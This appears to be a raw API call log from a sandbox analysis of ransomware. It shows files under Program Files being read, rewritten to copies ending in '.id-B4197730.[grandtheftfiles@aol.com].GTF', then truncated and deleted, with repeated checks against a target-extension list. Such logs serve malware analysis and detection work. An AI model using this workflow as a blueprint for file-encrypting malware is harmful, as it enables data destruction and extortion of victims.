	[0163.157] WriteFile (in: hFile=0x504, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x4c0, lpOverlapped=0x0) returned 1
	[0163.158] ReadFile (in: hFile=0x43c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.158] WriteFile (in: hFile=0x504, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xf4, lpOverlapped=0x0) returned 1
	[0163.159] SetEndOfFile (hFile=0x504) returned 1
	[0163.159] CloseHandle (hObject=0x504) returned 1
	[0163.159] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.159] SetEndOfFile (hFile=0x43c) returned 1
	[0163.161] CloseHandle (hObject=0x43c) returned 1
	[0163.161] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0163.162] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\sound.properties")) returned 1
	[0163.162] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0163.162] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0163.162] lstrlenW (lpString=".doc") returned 4
	[0163.162] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0163.162] lstrlenW (lpString=".docx") returned 5
	[0163.162] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0163.162] lstrlenW (lpString=".pdf") returned 4
	[0163.162] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0163.162] lstrlenW (lpString=".xls") returned 4
	[0163.162] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0163.162] lstrlenW (lpString=".xlsx") returned 5
	[0163.162] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0163.162] lstrlenW (lpString=".ppt") returned 4
	[0163.163] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0163.163] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0163.163] lstrlenW (lpString=".zip") returned 4
	[0163.163] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0163.163] lstrlenW (lpString=".rar") returned 4
	[0163.163] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0163.163] lstrlenW (lpString=".bz2") returned 4
	[0163.163] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0163.163] lstrlenW (lpString=".7z") returned 3
	[0163.163] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0163.163] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0163.163] lstrlenW (lpString=".dbf") returned 4
	[0163.163] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0163.163] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0163.163] lstrlenW (lpString=".1cd") returned 4
	[0163.163] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0163.163] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0163.163] lstrlenW (lpString=".jpg") returned 4
	[0163.163] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0163.163] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0163.163] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0163.163] lstrlenW (lpString=".doc") returned 4
	[0163.163] lstrcmpiW (lpString1=".doc", lpString2="ties") returned -1
	[0163.163] lstrlenW (lpString=".docx") returned 5
	[0163.163] lstrcmpiW (lpString1=".docx", lpString2="rties") returned -1
	[0163.163] lstrlenW (lpString=".pdf") returned 4
	[0163.163] lstrcmpiW (lpString1=".pdf", lpString2="ties") returned -1
	[0163.163] lstrlenW (lpString=".xls") returned 4
	[0163.163] lstrcmpiW (lpString1=".xls", lpString2="ties") returned -1
	[0163.163] lstrlenW (lpString=".xlsx") returned 5
	[0163.163] lstrcmpiW (lpString1=".xlsx", lpString2="rties") returned -1
	[0163.163] lstrlenW (lpString=".ppt") returned 4
	[0163.163] lstrcmpiW (lpString1=".ppt", lpString2="ties") returned -1
	[0163.163] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0163.163] lstrlenW (lpString=".zip") returned 4
	[0163.163] lstrcmpiW (lpString1=".zip", lpString2="ties") returned -1
	[0163.163] lstrlenW (lpString=".rar") returned 4
	[0163.164] lstrcmpiW (lpString1=".rar", lpString2="ties") returned -1
	[0163.164] lstrlenW (lpString=".bz2") returned 4
	[0163.164] lstrcmpiW (lpString1=".bz2", lpString2="ties") returned -1
	[0163.164] lstrlenW (lpString=".7z") returned 3
	[0163.164] lstrcmpiW (lpString1=".7z", lpString2="ies") returned -1
	[0163.164] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0163.164] lstrlenW (lpString=".dbf") returned 4
	[0163.164] lstrcmpiW (lpString1=".dbf", lpString2="ties") returned -1
	[0163.164] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0163.164] lstrlenW (lpString=".1cd") returned 4
	[0163.164] lstrcmpiW (lpString1=".1cd", lpString2="ties") returned -1
	[0163.164] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\sound.properties") returned 55
	[0163.164] lstrlenW (lpString=".jpg") returned 4
	[0163.164] lstrcmpiW (lpString1=".jpg", lpString2="ties") returned -1
	[0163.164] lstrcmpiW (lpString1=".0_144\\lib\\tzmappings", lpString2=".GTF") returned -1
	[0163.164] lstrlenW (lpString="tzmappings") returned 10
	[0163.164] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0163.165] GetFileSizeEx (in: hFile=0x43c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=8400) returned 1
	[0163.165] CloseHandle (hObject=0x43c) returned 1
	[0163.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings")) returned 0x20
	[0163.165] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.165] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x43c
	[0163.165] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.165] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.165] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x504
	[0163.166] GetLastError () returned 0x0
	[0163.166] ReadFile (in: hFile=0x43c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x20d0, lpOverlapped=0x0) returned 1
	[0163.368] WriteFile (in: hFile=0x504, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x20e0, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x20e0, lpOverlapped=0x0) returned 1
	[0163.369] ReadFile (in: hFile=0x43c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.369] WriteFile (in: hFile=0x504, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xe8, lpOverlapped=0x0) returned 1
	[0163.369] SetEndOfFile (hFile=0x504) returned 1
	[0163.370] CloseHandle (hObject=0x504) returned 1
	[0163.370] SetFilePointerEx (in: hFile=0x43c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.370] SetEndOfFile (hFile=0x43c) returned 1
	[0163.382] CloseHandle (hObject=0x43c) returned 1
	[0163.382] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x20) returned 1
	[0163.715] DeleteFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings" (normalized: "c:\\program files\\java\\jre1.8.0_144\\lib\\tzmappings")) returned 1
	[0163.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0163.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0163.751] lstrlenW (lpString=".doc") returned 4
	[0163.751] lstrcmpiW (lpString1=".doc", lpString2="ings") returned -1
	[0163.751] lstrlenW (lpString=".docx") returned 5
	[0163.751] lstrcmpiW (lpString1=".docx", lpString2="pings") returned -1
	[0163.751] lstrlenW (lpString=".pdf") returned 4
	[0163.751] lstrcmpiW (lpString1=".pdf", lpString2="ings") returned -1
	[0163.751] lstrlenW (lpString=".xls") returned 4
	[0163.751] lstrcmpiW (lpString1=".xls", lpString2="ings") returned -1
	[0163.751] lstrlenW (lpString=".xlsx") returned 5
	[0163.751] lstrcmpiW (lpString1=".xlsx", lpString2="pings") returned -1
	[0163.751] lstrlenW (lpString=".ppt") returned 4
	[0163.751] lstrcmpiW (lpString1=".ppt", lpString2="ings") returned -1
	[0163.751] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0163.752] lstrlenW (lpString=".zip") returned 4
	[0163.752] lstrcmpiW (lpString1=".zip", lpString2="ings") returned -1
	[0163.752] lstrlenW (lpString=".rar") returned 4
	[0163.752] lstrcmpiW (lpString1=".rar", lpString2="ings") returned -1
	[0163.752] lstrlenW (lpString=".bz2") returned 4
	[0163.752] lstrcmpiW (lpString1=".bz2", lpString2="ings") returned -1
	[0163.752] lstrlenW (lpString=".7z") returned 3
	[0163.752] lstrcmpiW (lpString1=".7z", lpString2="ngs") returned -1
	[0163.752] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0163.752] lstrlenW (lpString=".dbf") returned 4
	[0163.752] lstrcmpiW (lpString1=".dbf", lpString2="ings") returned -1
	[0163.752] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0163.752] lstrlenW (lpString=".1cd") returned 4
	[0163.752] lstrcmpiW (lpString1=".1cd", lpString2="ings") returned -1
	[0163.752] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0163.752] lstrlenW (lpString=".jpg") returned 4
	[0163.752] lstrcmpiW (lpString1=".jpg", lpString2="ings") returned -1
	[0163.752] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0163.752] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0163.752] lstrlenW (lpString=".doc") returned 4
	[0163.752] lstrcmpiW (lpString1=".doc", lpString2="ings") returned -1
	[0163.752] lstrlenW (lpString=".docx") returned 5
	[0163.752] lstrcmpiW (lpString1=".docx", lpString2="pings") returned -1
	[0163.752] lstrlenW (lpString=".pdf") returned 4
	[0163.752] lstrcmpiW (lpString1=".pdf", lpString2="ings") returned -1
	[0163.752] lstrlenW (lpString=".xls") returned 4
	[0163.752] lstrcmpiW (lpString1=".xls", lpString2="ings") returned -1
	[0163.752] lstrlenW (lpString=".xlsx") returned 5
	[0163.752] lstrcmpiW (lpString1=".xlsx", lpString2="pings") returned -1
	[0163.752] lstrlenW (lpString=".ppt") returned 4
	[0163.752] lstrcmpiW (lpString1=".ppt", lpString2="ings") returned -1
	[0163.752] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0163.752] lstrlenW (lpString=".zip") returned 4
	[0163.752] lstrcmpiW (lpString1=".zip", lpString2="ings") returned -1
	[0163.752] lstrlenW (lpString=".rar") returned 4
	[0163.752] lstrcmpiW (lpString1=".rar", lpString2="ings") returned -1
	[0163.752] lstrlenW (lpString=".bz2") returned 4
	[0163.753] lstrcmpiW (lpString1=".bz2", lpString2="ings") returned -1
	[0163.753] lstrlenW (lpString=".7z") returned 3
	[0163.753] lstrcmpiW (lpString1=".7z", lpString2="ngs") returned -1
	[0163.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0163.753] lstrlenW (lpString=".dbf") returned 4
	[0163.753] lstrcmpiW (lpString1=".dbf", lpString2="ings") returned -1
	[0163.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0163.753] lstrlenW (lpString=".1cd") returned 4
	[0163.753] lstrcmpiW (lpString1=".1cd", lpString2="ings") returned -1
	[0163.753] lstrlenW (lpString="C:\\Program Files\\Java\\jre1.8.0_144\\lib\\tzmappings") returned 49
	[0163.753] lstrlenW (lpString=".jpg") returned 4
	[0163.753] lstrcmpiW (lpString1=".jpg", lpString2="ings") returned -1
	[0163.753] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0163.753] lstrlenW (lpString="EAST_01.MID") returned 11
	[0163.753] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0163.755] GetFileSizeEx (in: hFile=0x53c, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=6165) returned 1
	[0163.755] CloseHandle (hObject=0x53c) returned 1
	[0163.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid")) returned 0x220
	[0163.755] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x53c
	[0163.756] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.756] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.756] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c
	[0163.757] GetLastError () returned 0x0
	[0163.757] ReadFile (in: hFile=0x53c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x1815, lpOverlapped=0x0) returned 1
	[0163.772] WriteFile (in: hFile=0x42c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x1820, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x1820, lpOverlapped=0x0) returned 1
	[0163.773] ReadFile (in: hFile=0x53c, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.773] WriteFile (in: hFile=0x42c, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xea, lpOverlapped=0x0) returned 1
	[0163.773] SetEndOfFile (hFile=0x42c) returned 1
	[0163.773] CloseHandle (hObject=0x42c) returned 1
	[0163.773] SetFilePointerEx (in: hFile=0x53c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.773] SetEndOfFile (hFile=0x53c) returned 1
	[0163.776] CloseHandle (hObject=0x53c) returned 1
	[0163.776] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF", dwFileAttributes=0x220) returned 1
	[0163.776] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\east_01.mid")) returned 1
	[0163.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0163.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0163.777] lstrlenW (lpString=".doc") returned 4
	[0163.777] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0163.777] lstrlenW (lpString=".docx") returned 5
	[0163.777] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0163.777] lstrlenW (lpString=".pdf") returned 4
	[0163.777] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0163.777] lstrlenW (lpString=".xls") returned 4
	[0163.777] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0163.777] lstrlenW (lpString=".xlsx") returned 5
	[0163.777] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0163.777] lstrlenW (lpString=".ppt") returned 4
	[0163.777] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0163.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0163.777] lstrlenW (lpString=".zip") returned 4
	[0163.778] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0163.778] lstrlenW (lpString=".rar") returned 4
	[0163.778] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0163.778] lstrlenW (lpString=".bz2") returned 4
	[0163.778] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0163.778] lstrlenW (lpString=".7z") returned 3
	[0163.778] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0163.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0163.778] lstrlenW (lpString=".dbf") returned 4
	[0163.778] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0163.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0163.778] lstrlenW (lpString=".1cd") returned 4
	[0163.778] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0163.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0163.778] lstrlenW (lpString=".jpg") returned 4
	[0163.778] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0163.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0163.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0163.778] lstrlenW (lpString=".doc") returned 4
	[0163.778] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1
	[0163.778] lstrlenW (lpString=".docx") returned 5
	[0163.778] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1
	[0163.778] lstrlenW (lpString=".pdf") returned 4
	[0163.778] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1
	[0163.778] lstrlenW (lpString=".xls") returned 4
	[0163.778] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1
	[0163.778] lstrlenW (lpString=".xlsx") returned 5
	[0163.778] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1
	[0163.778] lstrlenW (lpString=".ppt") returned 4
	[0163.778] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1
	[0163.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0163.778] lstrlenW (lpString=".zip") returned 4
	[0163.778] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1
	[0163.778] lstrlenW (lpString=".rar") returned 4
	[0163.778] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1
	[0163.778] lstrlenW (lpString=".bz2") returned 4
	[0163.779] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1
	[0163.779] lstrlenW (lpString=".7z") returned 3
	[0163.779] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1
	[0163.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0163.779] lstrlenW (lpString=".dbf") returned 4
	[0163.779] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1
	[0163.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0163.779] lstrlenW (lpString=".1cd") returned 4
	[0163.779] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1
	[0163.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EAST_01.MID") returned 67
	[0163.779] lstrlenW (lpString=".jpg") returned 4
	[0163.779] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1
	[0163.779] lstrcmpiW (lpString1=".MID", lpString2=".GTF") returned 1
	[0163.779] lstrlenW (lpString="EXPLR_01.MID") returned 12
	[0163.779] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0163.874] GetFileSizeEx (in: hFile=0x534, lpFileSize=0x2fcff14 | out: lpFileSize=0x2fcff14*=10562) returned 1
	[0163.874] CloseHandle (hObject=0x534) returned 1
	[0163.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid")) returned 0x220
	[0163.874] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf")) returned 0xffffffff
	[0163.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x534
	[0163.875] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.875] SetFilePointerEx (in: hFile=0x534, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec0 | out: lpNewFilePointer=0x0) returned 1
	[0163.875] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\EXPLR_01.MID.id-B4197730.[grandtheftfiles@aol.com].GTF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\explr_01.mid.id-b4197730.[grandtheftfiles@aol.com].gtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x544
	[0163.882] GetLastError () returned 0x0
	[0163.882] ReadFile (in: hFile=0x534, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x2942, lpOverlapped=0x0) returned 1
	[0163.887] WriteFile (in: hFile=0x544, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0x2950, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0x2950, lpOverlapped=0x0) returned 1
	[0163.888] ReadFile (in: hFile=0x534, lpBuffer=0x3bb8020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfecc, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesRead=0x2fcfecc*=0x0, lpOverlapped=0x0) returned 1
	[0163.888] WriteFile (in: hFile=0x544, lpBuffer=0x3bb8020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc94, lpOverlapped=0x0 | out: lpBuffer=0x3bb8020*, lpNumberOfBytesWritten=0x2fcfc94*=0xec, lpOverlapped=0x0) returned 1
